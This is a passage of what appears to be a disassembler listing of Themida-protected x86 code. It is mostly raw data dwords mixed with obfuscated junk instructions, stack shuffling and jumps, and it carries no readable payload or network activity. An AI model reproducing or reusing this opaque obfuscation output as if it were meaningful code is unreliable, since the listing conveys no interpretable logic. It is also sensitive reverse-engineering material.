		dd 0F5BBFFFFh, 29124858h, 2434FFDEh, 5B2434FFh,	28B0E9h
		dd 4C48100h, 33000000h,	2C31242Ch, 242C3324h, 3755E95Ch
		dd 0C5010000h, 8124048Bh, 4C4h,	35FAE900h, 34FF0000h, 0ECE95824h
		dd 52FFFFB3h, 0D4C5E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F12E6:				; CODE XREF: Themida_:005F2926j
		pop	edi
		jmp	loc_5EF080
; ---------------------------------------------------------------------------
		dd 0F796D6F7h, 814696D0h, 0F565D5EEh, 1CC58138h, 13EAC2Fh
		dd 1CED81F5h, 5E3EAC2Fh, 31242C33h, 2C33242Ch, 24248B24h
		dd 68C8BF0Fh, 3954h, 0E9240C89h, 0FFFF8F92h, 4B850h, 0C7010000h
		dd 8324048Bh, 46E904C4h, 3100004Ah, 2434FFC8h, 592434FFh
		dd 81E38953h, 4C3h, 4C38300h, 3F1DE9h, 24048900h, 405E089h
		dd 0E9000000h, 0FFFFC1F3h, 0B7685558h, 0E900007Eh, 0FFFFC2BAh
; ---------------------------------------------------------------------------


loc_5F136C:				; CODE XREF: Themida_:005EB817j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5EDEEF
; ---------------------------------------------------------------------------
		dd 55EF001h, 4,	0FFE6FFE9h, 0C8B66FFh, 0E9545724h, 0DB2h
		dd 592404FFh, 8107E1C1h, 0C7E884C1h, 0A4D9E904h, 0E0C0FFFFh
		dd 0B3536604h, 66D8000Dh, 83241C8Bh, 0C68802C4h, 0FFC38FE9h
		dd 0C8966FFh, 362B6824h, 4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5EB675
; ---------------------------------------------------------------------------
		db 66h
		dd 66665268h, 50241489h, 0FFE7A0E9h, 0C8B66FFh,	5CF26824h
		dd 3C890000h, 4EC8124h,	89000000h, 96E92424h, 0E9FFFFD2h
		dd 0FFFF8EA2h
; ---------------------------------------------------------------------------


loc_5F1414:				; CODE XREF: Themida_:005EFB32j
		push	179Eh
		mov	[esp], edx
		jmp	loc_5F24F2
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 822A7DBEh, 3DE68165h, 812D9A76h, 0C6D89EEh, 1CCFE966h
		dd 0BA520000h, 29EC7A17h, 3781B850h, 0E0C126E8h, 67B52D03h
		dd 0C23106AAh, 0C96DE958h, 405FFFFh, 5000000h, 4, 5C240487h
		dd 8B24048Fh, 8B662424h, 8953240Ch, 0EFE955E3h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F1477:				; CODE XREF: Themida_:005F3F77j
		push	60924D3Dh
		jmp	loc_5EB94E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 8F04C483h, 0E95C2404h, 0FFFFD254h, 8924248Bh
		dd 0E956243Ch, 96h
; ---------------------------------------------------------------------------


loc_5F14A0:				; CODE XREF: Themida_:005F482Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30h
		jmp	loc_5F2215
; ---------------------------------------------------------------------------


loc_5F14B3:				; CODE XREF: Themida_:005F547Dj
		mov	[esp], ebp
		mov	ebp, 59E84874h
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_5F4EEA
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h,	74CBF24h
		dd 0FE2949CBh, 0FFF01AE9h, 2C483FFh, 4FF68h, 24148900h
		dd 0EA8041B2h, 1EA805Fh, 807CB353h, 0F380E9EBh,	86EB80C3h
		dd 805BDA20h, 0EC835CEAh, 240C8904h, 0FFF351E9h, 241C89FFh
		dd 2BBh, 10EFE900h, 0E9510000h,	0FFFFB12Ah, 83241489h
		dd 7FE904ECh, 89000022h, 0B9E950E5h, 1000037h, 0C7815AD7h
		dd 2, 8B243C87h, 86E92424h, 8900000Fh, 0E9525EF0h, 4E06h
; ---------------------------------------------------------------------------


loc_5F156C:				; CODE XREF: Themida_:005F3AF8j
		sub	[esp+8], ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5EF361
; ---------------------------------------------------------------------------
		db 1
		dd 0EC815FF9h, 4, 0FF240C89h, 59042474h, 5C24048Fh, 24048B66h
		dd 504CE9h, 55CB8100h, 8113C824h, 4E57F4F3h, 0BFEB8141h
		dd 0F74F7B4Dh, 2E19E9D3h, 18B0000h, 52240C8Bh, 0C281E289h
		dd 4, 0FFC0B9E9h, 0E7B151FFh, 0E90CF180h, 172Ah, 8159CA89h
		dd 0C6042444h, 812D8443h, 0DE042444h, 1055176h,	81042454h
		dd 0DE04246Ch, 81055176h, 0C604246Ch, 8B2D8443h, 0C4812414h
		dd 4, 55240401h, 26ABE9h, 4895C00h, 9DBB5324h, 811ADC46h
		dd 0FF7806E3h, 41E94B4Fh, 50FFFFD3h, 16E9E089h,	5DFFFFA3h
		dd 0C8BCB01h, 4C48124h,	87000000h, 248B241Ch, 242CD324h
		dd 8C74E99Ch, 0C481FFFFh, 4, 7365BD55h,	0D5F754F8h, 0ED81DDF7h
		dd 51B62765h, 8106E5C1h, 45527CC5h, 0E117E961h,	0E929FFFFh
		dd 0FFF807E9h, 8C44E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F1672:				; CODE XREF: Themida_:005F61C9j
		pop	ecx
		push	esi
		mov	esi, 31F1F28Eh
		xor	edi, esi
		jmp	loc_5F28DD
; ---------------------------------------------------------------------------
aLH		db '$$h&',0
		align 4
		dd 0B5240C89h, 0D2E95367h, 5FFFFF9Bh, 81E68956h, 4C6h
		dd 8BB85000h, 55B5F53h,	4C923075h, 0FFE2E1E9h, 0C3815BFFh
		dd 73FD2FB2h, 23AFC381h, 0C3812DBAh, 15268C55h,	0FF8C5EE9h
		dd 5CC781FFh, 0FF605000h, 81582434h, 4ECh, 240C8900h, 433CE9h
		dd 0E9D1B300h, 35E8h, 0E904EC83h, 0FFFF9BABh, 320BB53h
		dd 5FE9160Bh, 0E9FFFFC9h, 0FFFF8BBAh, 0E92434FFh, 0FFFFD9D7h
		dd 89240C89h, 4C181E1h,	68000000h, 1158h, 52243489h, 468h
		dd 3BFBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F1722:				; CODE XREF: Themida_:005F464Bj
		inc	esi
		xor	esi, 6C6FEFE4h
		mov	eax, esi
		pop	esi
		jmp	loc_5EFFC3
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 6Dh
		dd 29234127h, 2434FFCAh, 0FFFAE0E9h, 58C689FFh,	609CC381h
		dd 0CDE96062h, 66FFFFF5h, 0C0A6B450h, 0E4C003ECh, 80D4F603h
		dd 0C38013ECh, 80E32823h, 0E0E923EBh, 5F000020h, 427CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F1771:				; CODE XREF: Themida_:005F499Dj
		push	ebp
		mov	ebp, 2D1648C2h
		or	edx, ebp
		pop	ebp
		add	edx, 76204B64h
		push	edi
		push	esi
		mov	esi, 394787Ah
		jmp	loc_5F2E6B
; ---------------------------------------------------------------------------
		dd 3980EB81h, 0E951264Dh, 0FFFFDFA7h, 81E38953h, 4C3h
		dd 0F69AE900h, 0C02DFFFFh, 2D369C46h, 47287C40h, 0C5E95152h
		dd 52FFFF9Dh, 42474FFh,	24048F5Ah, 2404875Ch, 0FF8AEDE9h
		dd 4EC81FFh, 0E9000000h, 0FFFF9E1Ah, 1ECFE981h,	0F1011902h
		dd 6C3CBB53h, 0C3813022h, 0E8DFB293h, 815BD901h, 0F930E1E9h
		dd 24348B38h, 0E904C483h, 379Bh, 1C8B5453h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5F5024
; ---------------------------------------------------------------------------
		db 80h,	0ECh, 0A3h
		dd 0F480D4F6h, 0FECCFE27h, 68C480CCh, 0CC80DCF6h, 0DEB6529Dh
		dd 0E9F3F680h, 0B8Bh
; ---------------------------------------------------------------------------


loc_5F1834:				; CODE XREF: Themida_:005F5827j
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		db 5Bh,	86h, 0DDh
		dd 11E9CBFEh, 0E9000047h, 0FFFF8A66h, 94F98F05h, 58C601B5h
		dd 8704C683h, 11E92434h, 33FFFFA7h, 248B243Ch, 4D36624h
		dd 43E99C24h, 81FFFF8Ah, 964FD7CFh, 3CC78132h, 81098613h
		dd 0D22083C7h, 5FF92947h, 2A83E9h, 33CB8100h, 8131B048h
		dd 382997EBh, 85E9510Ah, 89FFFFB2h, 4BB241Ch, 0E9000000h
		dd 0FFFFC6C5h, 405FF821h, 3A2DD0F7h, 294C9F80h,	0B1E958C3h
		dd 8B000033h, 89502424h, 405E0h, 4050000h, 87000000h, 0F75C2404h
		dd 1AB0E9E9h, 0C2290000h, 24348B58h, 4C481h, 0DFE90000h
		dd 0FFFFFB8h, 0E957C8BEh, 24F6h, 3BE9C501h, 0FFFFFFA5h
		dd 43E92434h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F1903:				; CODE XREF: Themida_:005F3963j
		pop	edi
		shr	ebp, 6
		jmp	loc_5F54F7
; ---------------------------------------------------------------------------


loc_5F190C:				; CODE XREF: Themida_:005EED1Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5EBCC6
		push	dword ptr [edi+1Ch]
		push	31AEh
		mov	[esp], ebx
		jmp	loc_5F3839
; ---------------------------------------------------------------------------
		db 48h
		dd 64CABF57h, 0F8312E75h, 0BB2D485Fh, 31F407F5h, 0B2C2E9C7h
		dd 0C683FFFFh, 0AC68101h, 31190171h, 51535EF0h,	7C4DBF57h
		dd 0C7815CF6h, 2246FF23h, 3C8BF989h, 4C48124h, 89000000h
		dd 240C8BCBh, 504C483h,	6A62032Fh, 0F85E5C2Dh, 0E9D8290Eh
		dd 0FFFFB32Bh
; ---------------------------------------------------------------------------


loc_5F1988:				; CODE XREF: Themida_:005EE148j
		push	ebx
		mov	ebx, 7D024488h
		jmp	loc_5F39EA
; ---------------------------------------------------------------------------
		db 1
		dd 0F20158C2h, 41CBEA81h, 835E2860h, 0FF5204C2h, 5A042474h
		dd 0E924048Fh, 0FFFFFF0Fh, 0EC83D829h, 24348904h, 4E4E19BEh
		dd 0C6F6813Fh, 810D6C23h, 8B6F3BCEh, 31BD5562h,	5104A966h
		dd 0B50120B9h, 8BCD0969h, 28E9240Ch, 66FFFF8Bh,	5224048Bh
		dd 4EB068h, 24248900h, 4A54E9h,	62BF3500h, 0C60123A6h
		dd 0D913E958h, 1489FFFFh, 4D3BBA24h, 10E915DAh,	8B000005h
		dd 0E9C12424h, 0E189510Ah, 0CF3BE955h, 3489FFFFh, 4EC8324h
		dd 0FF9A62E9h, 0AAB850FFh, 893C6C18h, 0CD8158C5h, 454425D6h
		dd 40FFE9h, 0C2295B00h,	24148758h, 0FF94CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F1A45:				; CODE XREF: Themida_:005ED003j
		push	eax
		mov	eax, esp
		jmp	loc_5ED152
; ---------------------------------------------------------------------------


loc_5F1A4D:				; CODE XREF: Themida_:005EEB92j
		mov	edx, ebp
		jmp	loc_5F0F47
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 0DDE90000h, 0BFFFFF88h, 4, 875FF929h
		dd 52E9240Ch, 66FFFFEDh, 52240C8Bh, 0BF57E289h,	4, 5B88EA81h
		dd 0FA01170Dh, 5B88C281h, 34FF170Dh, 0C4815F24h, 4, 18CD68h
		dd 243C8900h, 1621BE56h, 0BA520ECDh, 0F132E9E1h, 15AD789h
		dd 0FA015EF7h, 2414335Fh, 33241431h, 248B2414h,	35CCE924h
		dd 0D6010000h, 4EE835Ah, 0E9243487h, 0FFFFB9A5h, 81E7D15Fh
		dd 0AF45FBEFh, 5FFE891Fh, 0FFCF55E9h, 0A32CFFh,	0E9A304D8h
		dd 45F3h, 5348D30Dh, 2532D45h, 0C7E99222h, 80FFFFF7h, 0D6F69CC6h
		dd 0FFB398E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F1B09:				; CODE XREF: Themida_:005EEFCAj
		mov	ebp, esp
		jmp	loc_5EDA1B
; ---------------------------------------------------------------------------
		dd 0DFE9D7F7h, 0BAFFFF9Ah, 67E64C9Bh, 31E2814Ah, 4A16C46Fh
		dd 4C6BF281h, 0D7012F1Bh, 0FFD119E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F1B31:				; CODE XREF: Themida_:005F5263j
		shl	ebx, 1
		jmp	loc_5ED844
; ---------------------------------------------------------------------------
		dd 0E95FFB01h, 0FFFFC3FBh, 24F7815Eh, 160E139h,	243C8BF9h
		dd 0FF9D93E9h, 24048BFFh, 0FFDF86E9h, 5A5452FFh, 232FB951h
		dd 65680695h, 8900004Dh, 0DFE92414h, 5F000011h,	0FF88C3E9h
		dd 0BE5658FFh, 2, 555EF501h, 42474FFh, 43CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F1B89:				; CODE XREF: Themida_:005EFE3Bj
		xor	ch, 0B0h
		jmp	loc_5EA5D5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5E545624h, 0FFD5D9E9h, 29F381FFh, 0E9351E1Bh, 0FFFFC43Ch
		dd 0E9240489h, 282Dh, 2852EF80h, 0ED64E9F9h, 248BFFFFh
		dd 0B6E95324h, 68FFFF93h, 6934h, 83240C89h, 248904ECh
		dd 1E31E924h, 0DFF60000h, 66EBC780h, 66755168h,	0B2241489h
		dd 66D728C9h, 6824148Bh, 4964h,	89243C89h, 4C781E7h, 83000000h
		dd 3C8702C7h, 49E95C24h, 4D00002Ah, 0E9D5F74Dh,	0FFFF9EECh
		dd 4492BF57h, 0F78109AEh, 47544E5Dh, 5881C781h,	0CF813356h
		dd 65087E98h, 36E3E9h, 2B156800h, 9DE94D00h, 29FFFFFEh
		dd 243C8BF8h, 0E9E78957h, 0FFFFCC4Ch, 83240C8Bh, 0EB8004C4h
		dd 0D0CDE97Ch, 0C483FFFFh, 2C28304h, 4EC81h, 14890000h
		dd 2474FF24h, 24148B04h, 0E9E08950h, 0FFFFF7E6h
; ---------------------------------------------------------------------------


loc_5F1C70:				; CODE XREF: Themida_:005EDDE7j
		mov	ecx, [esp]
		jmp	loc_5EF4AB
; ---------------------------------------------------------------------------
		dd 2BD55h, 0E9290000h, 0FFE784E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F1C85:				; CODE XREF: Themida_:005F24F4j
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, 25086961h
		add	edx, 0FEC3DEEh
		sub	edx, 2AA83762h
		add	edx, eax
		add	edx, 2AA83762h
		jmp	loc_5F3648
; ---------------------------------------------------------------------------


loc_5F1CB0:				; CODE XREF: Themida_:005EF564j
		sub	ebx, edi
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5F0382
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 80C2FEC9h, 0F28046F2h, 0A49EE939h, 34FFFFFFh, 24048B24h
		dd 68E38953h, 38B2h, 0BE243489h, 71464CC6h, 4CC2F681h
		dd 0F3017146h, 4C3815Eh, 87000000h, 685C241Ch, 4D21h, 0FFABA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F1D01:				; CODE XREF: Themida_:005ED3D4j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_5F3F7C
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 53h
		dd 1662F08h, 0FF525FFAh, 5A042474h, 5C24048Fh, 9C243CD3h
		dd 0FF8579E9h, 75AC25FFh, 0D8F701DAh, 3DA468h, 241C8900h
		dd 205A2BBh, 0E9D80101h, 0FFFFFCE1h, 5A2434FFh,	14CD68h
		dd 2C67E900h, 30FF0000h, 3ADAE9h, 12E95100h, 5B000003h
		dd 0B3B9E952h, 0E189FFFFh, 178968h, 1AA6E900h, 505D0000h
		dd 0B06185B8h, 4E830D64h, 0D05586Ah, 0C101E871h, 73E904E0h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F1D9F:				; CODE XREF: Themida_:005F2354j
		sub	[esp], ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebx, 22C55501h
		sub	ebx, 3BAD7BF3h
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		and	ebx, 297F1344h
		add	ebx, 0EB4344FDh
		and	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	3788h
		mov	[esp], edx
		xchg	eax, [esp]
		dec	eax
		jmp	loc_5F450C
; ---------------------------------------------------------------------------


loc_5F1DE3:				; CODE XREF: Themida_:005F057Bj
		pop	ebx
		xor	al, cl
		pop	ecx
		xor	bh, al
		mov	eax, [esp]
		add	esp, 4
		add	al, 20h
		sub	al, bh
		sub	al, 20h
		pop	ebx
		push	edx
		mov	dl, 98h
		sub	dl, 1
		push	small 0
		add	byte ptr [esp],	38h
		sub	[esp], dl
		sub	byte ptr [esp],	38h
		mov	dl, [esp]
		add	esp, 2
		and	dl, 4Ch
		push	eax
		jmp	loc_5F3484
; ---------------------------------------------------------------------------
		db 2Ch,	0F3h, 0E9h
		dd 0FFFF93D8h, 4C481h, 89570000h, 20C2E9E7h, 348B0000h
		dd 2369E924h, 68590000h, 3509h,	0BA241489h, 6A524E88h
		dd 0B17CC281h, 0D00195ADh, 0E924148Bh, 0FFFF942Dh, 0C581E589h
		dd 4, 4ED81h, 2C870000h, 14895C24h, 70FDBA24h, 681CA2h
		dd 29000000h, 0D15A2414h, 1C8568EAh, 1C890000h,	25DABB24h
		dd 0EB810956h, 97A75E99h, 14DDC281h, 0DA297330h, 5EBCBE56h
		dd 0EE817422h, 0F249DFh, 0FFA08AE9h, 0BC2CACFFh, 904672Ch
		dd 92CD800h, 11F46866h,	241C8966h, 0D8E967B3h, 0C300003Dh
		dd 0FF89F3E9h, 80DCB3FFh, 0F3804CF3h, 82EB8069h, 0E95BDD28h
		dd 1C9Ch
; ---------------------------------------------------------------------------


loc_5F1EDC:				; CODE XREF: Themida_:005EBF16j
		pop	esp
		or	edx, eax
		jmp	loc_5F04FE
; ---------------------------------------------------------------------------
		dd 1120B850h, 513535E4h, 17EB701h, 87EAE9C7h, 875DFFFFh
		dd 248B2404h, 4216624h,	0AFE99C24h, 81FFFF83h, 4C2h, 4EA8100h
		dd 87000000h, 0B5E92414h, 57FFFF85h, 63CD2BFh, 0C18FE97Bh
		dd 8B66FFFFh, 0EC83240Ch, 24348904h, 0BB53E689h, 37AE3D96h
		dd 42A1C381h, 0D3F72214h, 0C683F387h, 0E9F387FFh, 0FFFFAE92h
		dd 0FF66C331h, 3F23E930h, 51530000h, 0B76B17B9h, 0F7AABB41h
		dd 0CB01CFB8h, 0CACB8159h, 4B41EF40h, 5A46E381h, 0DBF70F0Ch
		dd 7B06CB81h, 0C38167FAh, 40044h, 34FFDF89h, 0C4835B24h
		dd 8BFA0104h, 0C481243Ch, 4, 0FFAAB4E9h, 243C89FFh, 43C1E9h
		dd 0DEE78000h, 0E933C780h, 0FFFFA43Ch, 2743EB81h, 0DD893139h
		dd 81241C8Bh, 4C4h, 1C58100h, 0E9000000h, 0FFFF84D4h
; ---------------------------------------------------------------------------


loc_5F1FC8:				; CODE XREF: Themida_:005F1133j
		mov	[esp], edx
		push	ebx
		mov	ebx, 3CB174EFh
		mov	edx, 0B787E5C5h
		jmp	loc_5ED8BF
; ---------------------------------------------------------------------------
		db 30h
		dd 0D32858E2h, 0EC835A66h, 14896602h, 0E97BB224h, 0FFFFCEFFh
		dd 0EC81C789h, 4, 0FFC5CEE9h, 80D0B5FFh, 0C5FEDAEDh, 0E5C0C5FEh
		dd 80CDFE04h, 0EB0855C5h, 80E3D059h, 0EBC0FFC3h, 0C3EB8006h
		dd 1EE9DD88h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2023:				; CODE XREF: Themida_:005EB5E9j
		inc	ebx
		sub	ebx, 96954A0Bh
		jmp	loc_5F24F9
; ---------------------------------------------------------------------------


loc_5F202F:				; CODE XREF: Themida_:005F6426j
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		sub	ebx, ebp
		jmp	loc_5F106F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0A280E924h, 815EFFFFh, 445630C2h, 81C2013Fh,	445630EAh
		dd 15BCE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F205E:				; CODE XREF: Themida_:005EB8A7j
		xor	ecx, 30488E7Fh
		add	ebx, ecx
		pop	ecx
		jmp	loc_5ECBF9
; ---------------------------------------------------------------------------
		dd 0E900EA80h, 0FFFFDF94h, 3E98E9ACh, 0C4810000h, 4, 283CE9h
		dd 177B6800h, 16E96BF7h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F208F:				; CODE XREF: Themida_:005EA4F5j
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5EBCC5
; ---------------------------------------------------------------------------
		db 5Ch,	0F7h, 0F9h
		dd 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 44A3h, 0CE42E1BFh
		dd 42E0B97Ch, 0F9317CCEh, 1C4F095Fh, 0E92434FFh, 12E7h
		dd 21E3685Eh, 2C890000h, 85BF5724h, 4F0D3A71h, 0FFFA23E9h
		dd 0E0E95EFFh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F20F3:				; CODE XREF: Themida_:005ECDC6j
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_5F5DD6
; ---------------------------------------------------------------------------


loc_5F20FD:				; CODE XREF: Themida_:005EFC92j
		push	esi
		mov	esi, 0CA9FF9BAh
		add	eax, 686132DCh
		jmp	loc_5F53D0
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 7Bh
		dd 814AC01Eh, 0C0FDEC3h, 1AC38154h, 31158F4Ch, 48355BD8h
		dd 353E0705h, 47C701FCh, 3249E9h, 0EB815E00h, 6DA64931h
		dd 0C381CB01h, 6DA64931h, 15A6E959h, 3C8B0000h,	5E545624h
		dd 4C681h, 0C6810000h, 4, 0FFEEACE9h, 0FBE981FFh, 815C7875h
		dd 0D16745C1h, 29CDE937h, 248B0000h, 0B572E924h, 0EF31FFFFh
		dd 0C3E9FD31h, 8F00003Ah, 8130E902h, 0DA01FFFFh, 1D07E9h
		dd 81E68900h, 4ECh, 243C8900h, 257DF8BFh, 0CC78154h, 1ABDA82h
		dd 42E95FFEh, 8100000Eh, 0AE1867E9h, 0DEE98141h, 0E9ED6846h
		dd 1D02h, 87DEE941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F21C2:				; CODE XREF: Themida_:005ED318j
		mov	eax, 1F3D6102h
		not	eax
		shl	eax, 5
		add	eax, 226ED5h
		or	ebx, eax
		pop	eax
		push	4604h
		mov	[esp], ecx
		mov	ecx, 54FE001Eh
		shr	ecx, 3
		jmp	loc_5EB8A3
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 65h
		dd 31C98522h, 0D6F75DEEh, 0BDEE8146h, 0F75CB740h, 8EEC1D6h
		dd 52BFEE81h, 77090094h, 0A7E95E1Ch, 52FFFF80h,	2F13E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F2215:				; CODE XREF: Themida_:005F14AEj
		add	eax, edx
		push	ebp
		push	15B257E0h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 2021195Ch
		jmp	loc_5F4C3B
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFF8F25h, 8905D801h
		dd 0E975536Fh, 247Ah, 4C381h, 0EB830000h, 241C8702h, 0FF94FDE9h
		dd 4C281FFh, 81000000h,	4C2h, 24148700h, 0D190E95Ch, 0F781FFFFh
		dd 0C482B36h, 0E95FF829h, 0FFFFA9E9h, 0A3685756h, 5F3F5129h
		dd 0FFAF72E9h, 4BAFFh, 0C6810000h, 24094B54h, 0EE81D601h
		dd 24094B54h, 4BF575Ah,	29000000h, 0C629E9FEh, 5068FFFFh
		dd 0FF742B64h, 83582434h, 2D4004C4h, 1F262FECh,	8158C689h
		dd 0A22F93EEh, 3BF6815Eh, 512F1C53h, 0FFDF2EE9h, 24048BFFh
		dd 0C27DE950h, 685AFFFFh, 4381h, 66242C89h, 6614CABDh
		dd 50B8E581h, 21E95657h, 66FFFFC6h, 81240C8Bh, 4ECh, 242C8900h
		dd 1AF3E9h, 14895C00h, 34FF5424h, 0C4835A24h, 4C28104h
		dd 0E9000000h, 0FFFF94FBh, 0AF42E957h, 48FFFFFh, 4B85024h
		dd 1000000h, 58042444h,	0F9E9505Eh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2343:				; CODE XREF: Themida_:005ED4CFj
		sub	edx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 2F306CEh
		push	0
		jmp	loc_5F1D9F
; ---------------------------------------------------------------------------


loc_5F2359:				; CODE XREF: Themida_:005F6066j
		and	ecx, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_5ED600
; ---------------------------------------------------------------------------


loc_5F2364:				; CODE XREF: Themida_:005ED4E4j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5F632B
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 1EE904C6h, 87FFFF88h, 0E95C242Ch,	3082h
		dd 0EC81D801h, 4, 0E9240C89h, 0FFFFFE7Bh, 85F6E953h, 0B35FFFFh
		dd 0E91BBAE6h, 0FFFFF5EFh, 3E7C15Ah, 8105E7C1h,	0C7FCFCEFh
		dd 5FFB01ABh, 22CB951h,	0C9E94BB2h, 0F6FFFFFEh,	4EEC0DEh
		dd 0A7F680h, 0E6005AF4h, 0CF68058h, 800AB151h, 0B45028E1h
		dd 0B6C48002h, 10B252h,	0E1205AD4h, 5CE98058h, 0E92CB753h
		dd 1B70h, 0B55170B7h, 59EF30C6h, 0BDC780h, 68665BF8h, 8966348Fh
		dd 0AFB7241Ch, 0C0047A04h, 0BEE9AB04h, 66FFFFA9h, 0E9240C8Bh
		dd 0FFFFB10Eh, 0EC835B54h, 0FB73E904h, 332DFFFFh, 29C28E23h
		dd 0EE8158C6h, 4D3959B5h, 0E950C601h, 0FFFF9BAEh, 4EC81h
		dd 0C890000h, 30B05024h, 0FE58C188h, 80C1FEC9h,	6866F4C1h
		dd 896661C1h, 0F6E92404h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F245F:				; CODE XREF: Themida_:005F3C4Bj
		sub	ebp, 7185AADh
		pop	ebx
		sub	ecx, 6B9A1653h
		add	ecx, ebp
		jmp	loc_5EBEF7
; ---------------------------------------------------------------------------
		db 1
		dd 0E9575FF8h, 0FFFF8FABh, 0B1515B5Ah, 3CA5E9F2h, 0E7280000h
		dd 0FFC8C2E9h, 80DCB2FFh, 0C1E973EAh, 81FFFFBAh, 8E3478C2h
		dd 1B21E932h, 0E9520000h, 3510h, 8924248Bh, 0FFBB241Ch
		dd 0E9F9FCFDh, 0FFFFC1A6h, 5DE9895Ah, 81414149h, 3B185BF1h
		dd 0E9CE015Eh, 22AAh
; ---------------------------------------------------------------------------


loc_5F24CC:				; CODE XREF: Themida_:005EBE65j
		pop	ebp
		add	eax, edx
		sub	eax, 66B50392h
		pop	edx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5F4CD8
; ---------------------------------------------------------------------------
		db 51h
		dd 904E9h, 24043000h, 7DC4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F24F2:				; CODE XREF: Themida_:005F141Cj
		push	esp
		pop	edx
		jmp	loc_5F1C85
; ---------------------------------------------------------------------------


loc_5F24F9:				; CODE XREF: Themida_:005F202Aj
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	edi
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		jmp	loc_5F2835
; ---------------------------------------------------------------------------


loc_5F250D:				; CODE XREF: Themida_:005F04DDj
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ecx
		dec	ecx
		neg	ecx
		xor	ecx, 3BEB686Ah
		mov	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		shr	esi, 8
		jmp	loc_5F09F8
; ---------------------------------------------------------------------------
aIZhH		db 'Zh',1Bh,'h',0
		dw 0E900h
		dd 0FFFFE7C5h, 0E904C483h, 0FFFF854Ch, 0B964E95Ch, 0EC83FFFFh
		dd 240C8904h, 0C181E189h, 4, 8704E983h,	0ECE9240Ch, 0AC000036h
		dd 0EC83D830h, 1C896602h, 0F669B324h, 7EBC0DBh,	50A2B151h
		dd 0C13031B0h, 0E9CB2058h, 229Ah
; ---------------------------------------------------------------------------


loc_5F2580:				; CODE XREF: Themida_:005F34C7j
		pop	dword ptr [esp]
